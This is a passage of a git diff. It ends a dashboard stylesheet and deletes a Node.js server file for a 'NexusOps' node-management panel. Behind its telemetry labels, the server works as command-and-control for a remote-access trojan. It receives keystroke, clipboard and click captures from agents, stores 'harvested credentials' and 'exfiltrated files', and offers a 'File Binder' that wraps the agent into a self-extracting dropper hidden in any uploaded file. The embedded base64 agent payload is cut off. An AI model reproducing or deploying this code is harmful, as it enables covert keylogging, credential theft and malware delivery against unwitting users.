0.4rem; - padding: 0.3rem 0.7rem; - background: rgba(255, 255, 255, 0.05); - border: 1px solid var(--border-color); - border-radius: 9999px; - font-size: 0.75rem; - font-family: var(--font-mono); - color: var(--text-main); - white-space: nowrap; -} - -.machine-detail-chip i { - color: var(--primary-cyan); - font-size: 0.7rem; -} - -/* Intel log entry variants */ -.log-entry.intel-keystroke { - color: #fbbf24; - border-left: 2px solid rgba(251, 191, 36, 0.3); - padding-left: 0.5rem; -} - -.log-entry.intel-click { - color: #34d399; - border-left: 2px solid rgba(52, 211, 153, 0.3); - padding-left: 0.5rem; -} - -.log-entry.intel-scroll { - color: #a78bfa; - border-left: 2px solid rgba(167, 139, 250, 0.3); - padding-left: 0.5rem; -} - -/* Intel section filter selects hover */ -#intelNodeFilter:focus, -#intelTypeFilter:focus, -#intelSearchInput:focus { - outline: none; - border-color: var(--primary-purple) !important; - box-shadow: 0 0 8px rgba(139, 92, 246, 0.2); -} - -#intelNodeFilter option, -#intelTypeFilter option { - background: #0f172a; - color: #fff; -} - -/* ── File Binder Dropzone ── */ -.binder-dropzone { - border: 2px dashed var(--border-color); - border-radius: var(--radius-md); - padding: 2rem 1.5rem; - text-align: center; - cursor: pointer; - transition: all 0.2s ease; - background: rgba(15, 23, 42, 0.4); -} - -.binder-dropzone:hover { - border-color: var(--primary-cyan); - background: rgba(6, 182, 212, 0.06); - box-shadow: var(--shadow-glow); -} - -.binder-dropzone.has-file { - border-color: var(--accent-emerald); - background: rgba(16, 185, 129, 0.06); -} - -#binderStatus.success { - background: rgba(16, 185, 129, 0.12); - border: 1px solid rgba(16, 185, 129, 0.3); - color: var(--accent-emerald); -} - -#binderStatus.error { - background: rgba(244, 63, 94, 0.12); - border: 1px solid rgba(244, 63, 94, 0.3); - color: var(--accent-rose); -} - -/* ── Mobile Responsive ── */ -@media (max-width: 768px) { - .top-nav { - flex-wrap: wrap; - padding: 0.75rem 1rem; - gap: 0.75rem; - } - .dashboard-container { - padding: 1rem; - gap: 1rem; - } - .action-area { - flex-wrap: wrap; - width: 100%; - } - .action-area .btn { - flex: 1 1 auto; - min-width: 0; - font-size: 0.75rem; - padding: 0.45rem 0.7rem; - } - .nav-metrics { - display: none; - } - .stats-grid { - grid-template-columns: repeat(2, 1fr); - gap: 0.75rem; - } - .stat-card { - padding: 0.75rem 1rem; - } - .stat-number { - font-size: 1.25rem; - } - .nodes-grid-view { - grid-template-columns: 1fr; - } - .controls-toolbar { - flex-direction: column; - } - .search-box { - min-width: 100%; - } - .modal-card { - width: 95%; - max-width: 95%; - } - .os-tabs { - flex-wrap: wrap; - } - .os-tabs .tab-btn { - font-size: 0.75rem; - padding: 0.4rem 0.6rem; - } - #machineDetailsBar { - flex-direction: column; - gap: 0.3rem; - } -} diff --git a/server.js.bak-agentseo-1790276248 b/server.js.bak-agentseo-1790276248 deleted file mode 100644 index d230d08..0000000 --- a/server.js.bak-agentseo-1790276248 +++ /dev/null @@ -1,1197 +0,0 @@ -const express = require('express'); -const http = require('http'); -const WebSocket = require('ws'); -const path = require('path'); -const cors = require('cors'); -const os = require('os'); -const multer = require('multer'); -const fs = require('fs'); - -const upload = multer({ storage: multer.memoryStorage(), limits: { fileSize: 50 * 1024 * 1024 } }); - -const app = express(); -const server = http.createServer(app); -const wss = new WebSocket.Server({ server }); - -const PORT = process.env.PORT || 3000; -const PUBLIC_URL = process.env.PUBLIC_URL || null; -const DATA_DIR = path.join(__dirname, 'data'); - -// Ensure data directory exists -if (!fs.existsSync(DATA_DIR)) fs.mkdirSync(DATA_DIR, { recursive: true }); - -app.use(cors()); -app.use(express.json({ limit: '50mb' })); -app.use(express.static(path.join(__dirname, 'public'))); - -// ── Auth ── -const AUTH_TOKEN = process.env.NEXUS_AUTH_TOKEN || null; -if (!AUTH_TOKEN) { - console.log('!!! AUTH DISABLED — set NEXUS_AUTH_TOKEN in .env to protect the dashboard !!!'); -} -const AUTH_EXEMPT_PREFIXES = ['/api/agent/', '/install', '/agent.py', '/bin/']; -function authMiddleware(req, res, next) { - if (!AUTH_TOKEN) return next(); - if (AUTH_EXEMPT_PREFIXES.some(p => req.path.startsWith(p))) return next(); - const h = req.headers.authorization || ''; - if (h === 'Bearer ' + AUTH_TOKEN) return next(); - if (req.path === '/api/auth/check') return res.status(401).json({ error: 'unauthorized' }); - return res.status(401).json({ error: 'unauthorized' }); -} -app.use(authMiddleware); -app.get('/api/auth/check', (req, res) => { - if (!AUTH_TOKEN) return res.json({ ok: true, authRequired: false }); - res.json({ ok: true, authRequired: true }); -}); - - - -function getLocalIp() { - const interfaces = os.networkInterfaces(); - for (const name of Object.keys(interfaces)) { - for (const net of interfaces[name]) { - if (net.family === 'IPv4' && !net.internal) { - return net.address; - } - } - } - return 'localhost'; -} - -const SERVER_IP = getLocalIp(); - -const nodes = new Map(); -const commandQueues = new Map(); -const commandHistory = []; -const masterSystemLogs = []; -const inputDataStore = []; -const MAX_INPUT_STORE = 500; -const exfiltratedFiles = new Map(); // id → { nodeId, hostname, filename, data, mime, timestamp } -const harvestedCredentials = []; // { nodeId, hostname, type, data, timestamp } - -// ── Persistence ── -let _saveLock = false; -function _atomicWrite(file, data) { - const tmp = file + '.tmp'; - fs.writeFileSync(tmp, data); - fs.renameSync(tmp, file); -} -function saveData() { - if (_saveLock) return; - _saveLock = true; - try { - _atomicWrite(path.join(DATA_DIR, 'nodes.json'), JSON.stringify(Array.from(nodes.entries()))); - _atomicWrite(path.join(DATA_DIR, 'commands.json'), JSON.stringify(commandHistory.slice(-200))); - _atomicWrite(path.join(DATA_DIR, 'logs.json'), JSON.stringify(masterSystemLogs.slice(-200))); - _atomicWrite(path.join(DATA_DIR, 'inputs.json'), JSON.stringify(inputDataStore.slice(-300))); - _atomicWrite(path.join(DATA_DIR, 'creds.json'), JSON.stringify(harvestedCredentials.slice(-200))); - } catch(e) { /* silent */ } finally { - _saveLock = false; - } -} - -function loadData() { - try { - const nd = JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'nodes.json'), 'utf8') || '[]'); - nd.forEach(([k, v]) => { nodes.set(k, v); if (!commandQueues.has(k)) commandQueues.set(k, []); }); - commandHistory.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'commands.json'), 'utf8') || '[]'))); - masterSystemLogs.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'logs.json'), 'utf8') || '[]'))); - inputDataStore.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'inputs.json'), 'utf8') || '[]'))); - harvestedCredentials.push(...(JSON.parse(fs.readFileSync(path.join(DATA_DIR, 'creds.json'), 'utf8') || '[]'))); - } catch(e) { /* first run */ } -} -loadData(); - -// Auto-save every 30 seconds -setInterval(saveData, 30000); - -setInterval(() => { - const now = Date.now(); - let changed = false; - nodes.forEach((node, id) => { - if (node.status === 'online' && now - node.lastHeartbeat > 20000) { - node.status = 'offline'; - changed = true; - } - }); - if (changed) { - broadcastState(); - } -}, 5000); - -let _lastSaveTime = 0; -function broadcastState() { - const now = Date.now(); - if (now - _lastSaveTime > 15000) { _lastSaveTime = now; saveData(); } - const payload = JSON.stringify({ - type: 'NODES_UPDATE', - serverIp: SERVER_IP, - port: PORT, - publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`, - nodes: Array.from(nodes.values()), - commandHistory: commandHistory.slice(-50), - masterSystemLogs: masterSystemLogs.slice(-100), - inputData: inputDataStore.slice(-200) - }); - - wss.clients.forEach(client => { - if (client.readyState === WebSocket.OPEN) { - client.send(payload); - } - }); -} - -wss.on('connection', (ws, req) => { - // Auth check on WS upgrade - if (AUTH_TOKEN) { - const url = new URL(req.url, 'http://localhost'); - if (url.searchParams.get('token') !== AUTH_TOKEN) { - ws.close(4401, 'unauthorized'); - return; - } - } - ws.isAlive = true; - ws.on('pong', () => { ws.isAlive = true; }); - ws.send(JSON.stringify({ - type: 'NODES_UPDATE', - serverIp: SERVER_IP, - port: PORT, - publicUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`, - nodes: Array.from(nodes.values()), - commandHistory: commandHistory.slice(-50), - masterSystemLogs: masterSystemLogs.slice(-100), - inputData: inputDataStore.slice(-200) - })); -}); - -// WS heartbeat: ping every 25s, drop dead clients -setInterval(() => { - wss.clients.forEach(ws => { - if (ws.isAlive === false) return ws.terminate(); - ws.isAlive = false; - try { ws.ping(); } catch(e) {} - }); -}, 25000); - -// REST API Endpoints - -app.get('/api/status', (req, res) => { - res.json({ - serverIp: SERVER_IP, - port: PORT, - serverUrl: PUBLIC_URL || `http://${SERVER_IP}:${PORT}`, - totalNodes: nodes.size, - onlineNodes: Array.from(nodes.values()).filter(n => n.status === 'online').length - }); -}); - -app.get('/api/nodes', (req, res) => { - res.json(Array.from(nodes.values())); -}); - -app.get('/api/logs', (req, res) => { - res.json(masterSystemLogs.slice(-100)); -}); - -// CSV Telemetry Export Endpoint -app.get('/api/export/csv', (req, res) => { - let csv = "ID,Hostname,Platform,OS,IP,Status,CPU_Usage,Mem_Usage,Disk_Usage,Uptime_Sec,Tags\n"; - nodes.forEach(node => { - const tagsStr = (node.tags || []).join(';'); - csv += `"${node.id}","${node.hostname}","${node.platform}","${node.osName}","${node.ip}","${node.status}",${node.cpuUsage},${node.memUsage},${node.diskUsage},${node.uptime},"${tagsStr}"\n`; - }); - res.setHeader('Content-Type', 'text/csv'); - res.setHeader('Content-Disposition', 'attachment; filename="NexusOps_Nodes_Report.csv"'); - res.send(csv); -}); - -// Agent System Log Streaming Endpoint -app.post('/api/agent/logs', (req, res) => { - const { nodeId, hostname, logs } = req.body; - if (Array.isArray(logs)) { - logs.forEach(logLine => { - masterSystemLogs.push({ - id: `log-${Date.now()}-${Math.random().toString(36).slice(2, 4)}`, - nodeId, - hostname: hostname || 'Unknown', - timestamp: Date.now(), - entry: logLine - }); - }); - if (masterSystemLogs.length > 200) { - masterSystemLogs.splice(0, masterSystemLogs.length - 200); - } - broadcastState(); - } - res.json({ success: true }); -}); - -// Agent Input Capture Endpoint — keystrokes, clicks, clipboard, window focus -app.post('/api/agent/input-capture', (req, res) => { - const { nodeId, hostname, events } = req.body; - if (!nodeId || !Array.isArray(events)) { - return res.status(400).json({ error: 'nodeId and events[] required' }); - } - - events.forEach(ev => { - inputDataStore.push({ - id: `inp-${Date.now()}-${Math.random().toString(36).slice(2, 6)}`, - nodeId, - hostname: hostname || 'Unknown', - timestamp: ev.timestamp || Date.now(), - eventType: ev.eventType || 'unknown', - data: ev.data || {}, - windowTitle: ev.windowTitle || '', - processName: ev.processName || '' - }); - }); - - if (inputDataStore.length > MAX_INPUT_STORE) { - inputDataStore.splice(0, inputDataStore.length - MAX_INPUT_STORE); - } - - if (events.length > 0) { - broadcastState(); - } - - res.json({ success: true, stored: events.length }); -}); - -// Retrieve input capture data -app.get('/api/inputs', (req, res) => { - const { nodeId, eventType, limit } = req.query; - let filtered = inputDataStore; - - if (nodeId) { - filtered = filtered.filter(e => e.nodeId === nodeId); - } - if (eventType) { - filtered = filtered.filter(e => e.eventType === eventType); - } - - const max = parseInt(limit) || 200; - res.json(filtered.slice(-max)); -}); - -// ── File Binder — upload any file, get back a self-extracting dropper with embedded agent ── -// ── File Binder v2 — self-contained dropper (agent embedded, no curl required) ── -const AGENT_B64 = "IyEvdXNyL2Jpbi9lbnYgcHl0aG9uMwoiIiIKTmV4dXNPcHMgQ3Jvc3MtUGxhdGZvcm0gTm9kZSBNYW5hZ2VtZW50ICYgVGVsZW1ldHJ5IEFnZW50ClVzZXMgU3RhbmRhcmQgUHl0aG9uIDMgTGlicmFyaWVzIChObyBleHRlcm5hbCBkZXBlbmRlbmNpZXMgcmVxdWlyZWQpCiIiIgoKaW1wb3J0IHN5cwppbXBvcnQgb3MKaW1wb3J0IHRpbWUKaW1wb3J0IGpzb24KaW1wb3J0IHNvY2tldAppbXBvcnQgcGxhdGZvcm0KaW1wb3J0IHN1YnByb2Nlc3MKaW1wb3J0IHVybGxpYi5yZXF1ZXN0CmltcG9ydCB1cmxsaWIucGFyc2UKaW1wb3J0IGFyZ3BhcnNlCgpsYXN0X2xvZ19jaGVja190aW1lID0gMApoZWFydGJlYXRfaW50ZXJ2YWwgPSA1ICAjIER5bmFtaWMgaGVhcnRiZWF0IHJhdGUgaW4gc2Vjb25kcwpub2RlX3RhZ3MgPSBbIkRlZmF1bHQiXQpxdWlldF9tb2RlID0gRmFsc2UgICMgU3VwcHJlc3MgYmFubmVyIGFuZCBleGVjIG1lc3NhZ2VzIHdoZW4gVHJ1ZQoKZGVmIGdldF9wcm9jZXNzX2NvdW50KCk6CiAgICAiIiJHZXQgcmVhbCBwcm9jZXNzIGNvdW50IGNyb3NzLXBsYXRmb3JtLiIiIgogICAgc3lzdGVtID0gcGxhdGZvcm0uc3lzdGVtKCkubG93ZXIoKQogICAgdHJ5OgogICAgICAgIGlmIHN5c3RlbSA9PSAibGludXgiIG9yIHN5c3RlbSA9PSAiZGFyd2luIjoKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJwcyIsICJhdXgiXSwgdGV4dD1UcnVlLCB0aW1lb3V0PTUpCiAgICAgICAgICAgIHJldHVybiBsZW4ob3V0LnNwbGl0bGluZXMoKSkgLSAxICAjIG1pbnVzIGhlYWRlcgogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJ0YXNrbGlzdCJdLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgcmV0dXJuIGxlbihvdXQuc3BsaXRsaW5lcygpKSAtIDEKICAgIGV4Y2VwdDoKICAgICAgICBwYXNzCiAgICByZXR1cm4gMAoKZGVmIGdldF9pcF9hZGRyZXNzKCk6CiAgICAiIiJHZXQgcHJpbWFyeSBJUCwgcHJlZmVycmluZyBwaHlzaWNhbCBFdGhlcm5ldCBvdmVyIFZQTi90dW5uZWwgaW50ZXJmYWNlcy4iIiIKICAgIHN5c3RlbSA9IHBsYXRmb3JtLnN5c3RlbSgpLmxvd2VyKCkKICAgIHRyeToKICAgICAgICBpZiBzeXN0ZW0gPT0gImRhcndpbiI6CiAgICAgICAgICAgICMgbWFjT1M6IHVzZSBpZmNvbmZpZyB0byBmaW5kIGVuMCBJUCAocGh5c2ljYWwgRXRoZXJuZXQvV2lGaSkKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJpZmNvbmZpZyIsICJlbjAiXSwgdGV4dD1UcnVlLCB0aW1lb3V0PTUpCiAgICAgICAgICAgIGZvciBsaW5lIGluIG91dC5zcGxpdGxpbmVzKCk6CiAgICAgICAgICAgICAgICBpZiAnaW5ldCAnIGluIGxpbmUgYW5kICcxMjcuMC4wLjEnIG5vdCBpbiBsaW5lOgogICAgICAgICAgICAgICAgICAgIHBhcnRzID0gbGluZS5zdHJpcCgpLnNwbGl0KCkKICAgICAgICAgICAgICAgICAgICBmb3IgaSwgcCBpbiBlbnVtZXJhdGUocGFydHMpOgogICAgICAgICAgICAgICAgICAgICAgICBpZiBwID09ICdpbmV0JyBhbmQgaSsxIDwgbGVuKHBhcnRzKToKICAgICAgICAgICAgICAgICAgICAgICAgICAgIHJldHVybiBwYXJ0c1tpKzFdCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgIyBMaW51eDogdHJ5IGlwIHJvdXRlIHRvIGZpbmQgcHJpbWFyeSBpbnRlcmZhY2UKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJpcCIsICItNCIsICJyb3V0ZSIsICJnZXQiLCAiOC44LjguOCJdLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgZm9yIHBhcnQgaW4gb3V0LnNwbGl0KCk6CiAgICAgICAgICAgICAgICBpZiBwYXJ0LnN0YXJ0c3dpdGgoJ3NyYyAnKToKICAgICAgICAgICAgICAgICAgICByZXR1cm4gcGFydC5zcGxpdCgpWzFdIGlmICcgJyBpbiBwYXJ0IGVsc2Ugb3V0LnNwbGl0KCdzcmMgJylbMV0uc3BsaXQoKVswXQogICAgZXhjZXB0OgogICAgICAgIHBhc3MKICAgICMgRmFsbGJhY2s6IGNvbm5lY3QgdG8gOC44LjguOAogICAgdHJ5OgogICAgICAgIHMgPSBzb2NrZXQuc29ja2V0KHNvY2tldC5BRl9JTkVULCBzb2NrZXQuU09DS19ER1JBTSkKICAgICAgICBzLmNvbm5lY3QoKCI4LjguOC44IiwgODApKQogICAgICAgIGlwID0gcy5nZXRzb2NrbmFtZSgpWzBdCiAgICAgICAgcy5jbG9zZSgpCiAgICAgICAgcmV0dXJuIGlwCiAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgIHJldHVybiAiMTI3LjAuMC4xIgoKZGVmIGdldF9jcHVfdXNhZ2UoKToKICAgIHN5c3RlbSA9IHBsYXRmb3JtLnN5c3RlbSgpLmxvd2VyKCkKICAgIHRyeToKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgd2l0aCBvcGVuKCcvcHJvYy9zdGF0JywgJ3InKSBhcyBmOgogICAgICAgICAgICAgICAgZmllbGRzID0gW2Zsb2F0KGNvbHVtbikgZm9yIGNvbHVtbiBpbiBmLnJlYWRsaW5lKCkuc3RyaXAoKS5zcGxpdCgpWzE6XV0KICAgICAgICAgICAgaWRsZSwgdG90YWwgPSBmaWVsZHNbM10sIHN1bShmaWVsZHMpCiAgICAgICAgICAgIHRpbWUuc2xlZXAoMC4yKQogICAgICAgICAgICB3aXRoIG9wZW4oJy9wcm9jL3N0YXQnLCAncicpIGFzIGY6CiAgICAgICAgICAgICAgICBmaWVsZHMyID0gW2Zsb2F0KGNvbHVtbikgZm9yIGNvbHVtbiBpbiBmLnJlYWRsaW5lKCkuc3RyaXAoKS5zcGxpdCgpWzE6XV0KICAgICAgICAgICAgaWRsZTIsIHRvdGFsMiA9IGZpZWxkczJbM10sIHN1bShmaWVsZHMyKQogICAgICAgICAgICBpZGxlX2RlbHRhID0gaWRsZTIgLSBpZGxlCiAgICAgICAgICAgIHRvdGFsX2RlbHRhID0gdG90YWwyIC0gdG90YWwKICAgICAgICAgICAgaWYgdG90YWxfZGVsdGEgPiAwOgogICAgICAgICAgICAgICAgcmV0dXJuIHJvdW5kKDEwMC4wICogKDEuMCAtIGlkbGVfZGVsdGEgLyB0b3RhbF9kZWx0YSksIDEpCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gImRhcndpbiI6CiAgICAgICAgICAgIG91dCA9IHN1YnByb2Nlc3MuY2hlY2tfb3V0cHV0KFsidG9wIiwgIi1sIiwgIjEiLCAiLW4iLCAiMCJdKS5kZWNvZGUoKQogICAgICAgICAgICBmb3IgbGluZSBpbiBvdXQuc3BsaXRsaW5lcygpOgogICAgICAgICAgICAgICAgaWYgIkNQVSB1c2FnZSIgaW4gbGluZToKICAgICAgICAgICAgICAgICAgICBwYXJ0cyA9IGxpbmUuc3BsaXQoKQogICAgICAgICAgICAgICAgICAgIHVzZXIgPSBmbG9hdChwYXJ0c1syXS5yZXBsYWNlKCclJywgJycpKQogICAgICAgICAgICAgICAgICAgIHN5c19jID0gZmxvYXQocGFydHNbNF0ucmVwbGFjZSgnJScsICcnKSkKICAgICAgICAgICAgICAgICAgICByZXR1cm4gcm91bmQodXNlciArIHN5c19jLCAxKQogICAgICAgIGVsaWYgc3lzdGVtID09ICJ3aW5kb3dzIjoKICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJ3bWljIiwgImNwdSIsICJnZXQiLCAibG9hZHBlcmNlbnRhZ2UiXSkuZGVjb2RlKCkKICAgICAgICAgICAgbGluZXMgPSBbbGluZS5zdHJpcCgpIGZvciBsaW5lIGluIG91dC5zcGxpdGxpbmVzKCkgaWYgbGluZS5zdHJpcCgpLmlzZGlnaXQoKV0KICAgICAgICAgICAgaWYgbGluZXM6CiAgICAgICAgICAgICAgICByZXR1cm4gZmxvYXQobGluZXNbMF0pCiAgICBleGNlcHQgRXhjZXB0aW9uOgogICAgICAgIHBhc3MKICAgIHJldHVybiAxNS4wCgpkZWYgZ2V0X21lbW9yeV91c2FnZSgpOgogICAgc3lzdGVtID0gcGxhdGZvcm0uc3lzdGVtKCkubG93ZXIoKQogICAgdHJ5OgogICAgICAgIGlmIHN5c3RlbSA9PSAibGludXgiOgogICAgICAgICAgICBtZW1pbmZvID0ge30KICAgICAgICAgICAgd2l0aCBvcGVuKCcvcHJvYy9tZW1pbmZvJywgJ3InKSBhcyBmOgogICAgICAgICAgICAgICAgZm9yIGxpbmUgaW4gZjoKICAgICAgICAgICAgICAgICAgICBwYXJ0cyA9IGxpbmUuc3BsaXQoJzonKQogICAgICAgICAgICAgICAgICAgIGlmIGxlbihwYXJ0cykgPT0gMjoKICAgICAgICAgICAgICAgICAgICAgICAga2V5ID0gcGFydHNbMF0uc3RyaXAoKQogICAgICAgICAgICAgICAgICAgICAgICB2YWwgPSBpbnQocGFydHNbMV0uc3BsaXQoKVswXSkKICAgICAgICAgICAgICAgICAgICAgICAgbWVtaW5mb1trZXldID0gdmFsCiAgICAgICAgICAgIHRvdGFsID0gbWVtaW5mby5nZXQoJ01lbVRvdGFsJywgMSkKICAgICAgICAgICAgZnJlZSA9IG1lbWluZm8uZ2V0KCdNZW1BdmFpbGFibGUnLCBtZW1pbmZvLmdldCgnTWVtRnJlZScsIDApKQogICAgICAgICAgICByZXR1cm4gcm91bmQoKCh0b3RhbCAtIGZyZWUpIC8gdG90YWwpICogMTAwLjAsIDEpCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gImRhcndpbiI6CiAgICAgICAgICAgICMgVXNlIHZtX3N0YXQgZm9yIHJlYWwgbWVtb3J5IHVzYWdlIG9uIG1hY09TCiAgICAgICAgICAgIHRyeToKICAgICAgICAgICAgICAgIG91dCA9IHN1YnByb2Nlc3MuY2hlY2tfb3V0cHV0KFsidm1fc3RhdCJdLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgICAgIHBhZ2VzID0ge30KICAgICAgICAgICAgICAgIGZvciBsaW5lIGluIG91dC5zcGxpdGxpbmVzKCk6CiAgICAgICAgICAgICAgICAgICAgaWYgJzonIGluIGxpbmU6CiAgICAgICAgICAgICAgICAgICAgICAgIGssIHYgPSBsaW5lLnNwbGl0KCc6JywgMSkKICAgICAgICAgICAgICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFnZXNbay5zdHJpcCgpXSA9IGludCh2LnN0cmlwKCkucnN0cmlwKCcuJykpCiAgICAgICAgICAgICAgICAgICAgICAgIGV4Y2VwdCBWYWx1ZUVycm9yOgogICAgICAgICAgICAgICAgICAgICAgICAgICAgcGFzcwogICAgICAgICAgICAgICAgcGFnZV9zaXplID0gMTYzODQgICMgRGVmYXVsdCBtYWNPUyBwYWdlIHNpemUKICAgICAgICAgICAgICAgIGZyZWUgPSBwYWdlcy5nZXQoJ1BhZ2VzIGZyZWUnLCAwKSArIHBhZ2VzLmdldCgnUGFnZXMgaW5hY3RpdmUnLCAwKSArIHBhZ2VzLmdldCgnUGFnZXMgc3BlY3VsYXRpdmUnLCAwKQogICAgICAgICAgICAgICAgdXNlZCA9IHBhZ2VzLmdldCgnUGFnZXMgYWN0aXZlJywgMCkgKyBwYWdlcy5nZXQoJ1BhZ2VzIHdpcmVkIGRvd24nLCAwKSArIHBhZ2VzLmdldCgnUGFnZXMgb2NjdXBpZWQgYnkgY29tcHJlc3NvcicsIDApCiAgICAgICAgICAgICAgICB0b3RhbF9wYWdlcyA9IGZyZWUgKyB1c2VkICsgcGFnZXMuZ2V0KCdQYWdlcyBwdXJnZWFibGUnLCAwKQogICAgICAgICAgICAgICAgaWYgdG90YWxfcGFnZXMgPiAwOgogICAgICAgICAgICAgICAgICAgIHJldHVybiByb3VuZCgodXNlZCAvIHRvdGFsX3BhZ2VzKSAqIDEwMC4wLCAxKQogICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgICMgRmFsbGJhY2s6IHVzZSBzeXNjdGwgZm9yIGhhcmR3YXJlIGluZm8KICAgICAgICAgICAgdHJ5OgogICAgICAgICAgICAgICAgb3V0ID0gc3VicHJvY2Vzcy5jaGVja19vdXRwdXQoWyJzeXNjdGwiLCAiLW4iLCAiaHcubWVtc2l6ZSJdLCB0ZXh0PVRydWUsIHRpbWVvdXQ9NSkKICAgICAgICAgICAgICAgIHRvdGFsX2J5dGVzID0gaW50KG91dC5zdHJpcCgpKQogICAgICAgICAgICAgICAgIyBVc2Ugdm1fc3RhdCBwYWdlcyAqIHBhZ2Vfc2l6ZSBmb3IgdXNlZCBlc3RpbWF0ZQogICAgICAgICAgICAgICAgdm0gPSBzdWJwcm9jZXNzLmNoZWNrX291dHB1dChbInZtX3N0YXQiXSwgdGV4dD1UcnVlLCB0aW1lb3V0PTUpCiAgICAgICAgICAgICAgICBpbXBvcnQgcmUKICAgICAgICAgICAgICAgIGFjdGl2ZSA9IGludChyZS5zZWFyY2gocidQYWdlcyBhY3RpdmU6XHMrKFxkKyknLCB2bSkuZ3JvdXAoMSkpCiAgICAgICAgICAgICAgICB3aXJlZCA9IGludChyZS5zZWFyY2gocidQYWdlcyB3aXJlZCBkb3duOlxzKyhcZCspJywgdm0pLmdyb3VwKDEpKQogICAgICAgICAgICAgICAgdXNlZF9ieXRlcyA9IChhY3RpdmUgKyB3aXJlZCkgKiAxNjM4NAogICAgICAgICAgICAgICAgaWYgdG90YWxfYnl0ZXMgPiAwOgogICAgICAgICAgICAgICAgICAgIHJldHVybiByb3VuZCgodXNlZF9ieXRlcyAvIHRvdGFsX2J5dGVzKSAqIDEwMC4wLCAxKQogICAgICAgICAgICBleGNlcHQ6CiAgICAgICAgICAgICAgICBwYXNzCiAgICAgICAgICAgIHJldHVybiA0NS4wCiAgICAgICAgZWxpZiBzeXN0ZW0gPT0gIndpbmRvd3MiOgogICAgICAgICAgICBvdXQgPSBzdWJwcm9jZXNzLmNoZWNrX291dHB1dChbIndtaWMiLCAib3MiLCAiZ2V0IiwgIkZyZWVQaHlzaWNhbE1lbW9yeSxUb3RhbFZpc2libGVNZW1vcnlTaXplIiwgIi9WYWx1ZSJdKS5kZWNvZGUoKQogICAgICAgICAgICBkID0ge30KICAgICAgICAgICAgZm9yIGxpbmUgaW4gb3V0LnNwbGl0bGluZXMoKToKICAgICAgICAgICAgICAgIGlmICc9JyBpbiBsaW5lOgogICAgICAgICAgICAgICAgICAgIGssIHYgPSBsaW5lLnNwbGl0KCc9JywgMSkKICAgICAgICAgICAgICAgICAgICBkW2suc3RyaXAoKV0gPSBmbG9hdCh2LnN0cmlwKCkpCiAgICAgICAgICAgIGlmICdUb3RhbFZpc2libGVNZW1vcnlTaXplJyBpbiBkIGFuZCAnRnJlZVBoeXNpY2FsTWVtb3J5JyBpbiBkOgogICAgICAgICAgICAgICAgdG90YWwgPSBkWydUb3RhbFZpc2libGVNZW1vcnlTaXplJ10KICAgICAgICAgICAgICAgIGZyZWUgPSBkWydGcmVlUGh5c2ljYWxNZW1vcnknXQogICAgICAgICAgICAgICAgcmV0dXJuIHJvdW5kKCgodG90YWwgLSBmcmVlKSAvIHRvdGFsKSAqIDEwMC4wLCAxKQogICAgZXhjZXB0IEV4Y2VwdGlvbjoKICAgICAgICBwYXNzCiAgICByZXR1cm4gMzUuMAoKZGVmIGdldF9kaXNrX3VzYWdlKCk6CiAgICB0cnk6CiAgICAgICAgaWYgaGFzYXR0cihvcywgJ3N0YXR2ZnMnKToKICAgICAgICAgICAgc3QgPSBvcy5zdGF0dmZzKCcvJykKICAgICAgICAgICAgdG90YWwgPSBzdC5mX2Jsb2NrcyAqIHN0LmZfZnJzaXplCiAgICAgICAgICAgIGZyZWUgPSBzdC5mX2JhdmFpbCAqIHN0LmZfZnJzaXplCiAgICAgICAgICAgIGlmIHRvdGFsID4gMDoKICAgICAgICAgICAgICAgIHJldHVybiByb3VuZCgoKHRvdGFsIC0gZnJlZSkgLyB0b3RhbCkgKiAxMDAuMCwgMSkKICAgIGV4Y2VwdCBFeGNlcHRpb246CiAgICAgICAgcGFzcwogICAgcmV0dXJuIDQwLjAKCmRlZiBnZXRfdXB0aW1lX3NlY29uZHMoKToKICAgIHN5c3RlbSA9IHBsYXRmb3JtLnN5c3RlbSgpLmxvd2VyKCkKICAgIHRyeToKICAgICAgICBpZiBzeXN0ZW0gPT0gImxpbnV4IjoKICAgICAgICAgICAgd2l0aCBvcGVuKCcvcHJvYy91cHRpbWUnLCAncicpIGFzIGY6CiAgICAgICAgICAgICAgICByZXR1cm4gaW50KGZsb2F0KGYucmVhZGxpbmUoKS5zcGxpdCgpWzBdKSkKICAgICAgICBlbGlmIHN5c3RlbSA9PSAiZGFyd2luIjoKICAgICAgICAgICAgIyBtYWNPUzogdXNlIHN5c2N0bCB0byBnZXQgYm9vdCB0aW1lLCBjb21wdXRlIHVwdGltZQogICAgICAgICAgICBvdXQgPSBzdWJwcm9jZXNzLmNoZWNrX291dHB1dChbInN5c2N0bCIsICItbiIsICJrZXJuLmJvb3R0aW1lIl0sIHRleHQ9VHJ1ZSwgdGltZW91dD01KQogICAgICAgICAgICAjIEZvcm1hdDogeyBzZWMgPSAxMjM0NTY3ODkwLCB1c2VjID0gMCB9IFRodSBKYW4gIDEgMDA6MDA6MDAgMTk3MAogICAgICAgICAgICBpbXBvcnQgcmUK